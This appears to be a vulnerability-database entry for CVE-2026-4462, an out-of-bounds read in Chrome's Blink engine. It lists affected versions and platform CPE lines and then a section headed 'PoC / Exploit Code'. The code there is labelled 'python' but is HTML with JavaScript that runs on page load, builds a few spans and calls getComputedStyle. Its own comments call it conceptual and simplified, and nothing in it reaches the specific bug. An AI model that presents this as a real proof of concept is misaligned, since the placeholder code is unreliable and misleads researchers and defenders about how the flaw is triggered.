Out of bounds read in Blink in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4462 (Conceptual)
Triggering Out of Bounds Read in Blink via crafted HTML
-->
<html>
<head>
<script>
function attempt_trigger() {
// Create a specific DOM structure known to stress Blink's memory layout
let container = document.createElement('div');
document.body.appendChild(container);
// Manipulate styles or attributes to reach the vulnerable code path
// This is a simplified representation of the attack surface
for(let i=0; i<100; i++) {
let span = document.createElement('span');
span.innerText = 'A'.repeat(i * 10);
container.appendChild(span);
}
// Force a layout calculation or garbage collection
// that may trigger the OOB read in vulnerable versions
window.getComputedStyle(container);
console.log("[+] Trigger executed. Check for crashes or memory artifacts.");
}
window.onload = attempt_trigger;
</script>
</head>
<body>
<h1>CVE-2026-4462 PoC Test</h1>
<p>If the browser crashes or behaves unexpectedly, it may be vulnerable.</p>
</body>
</html>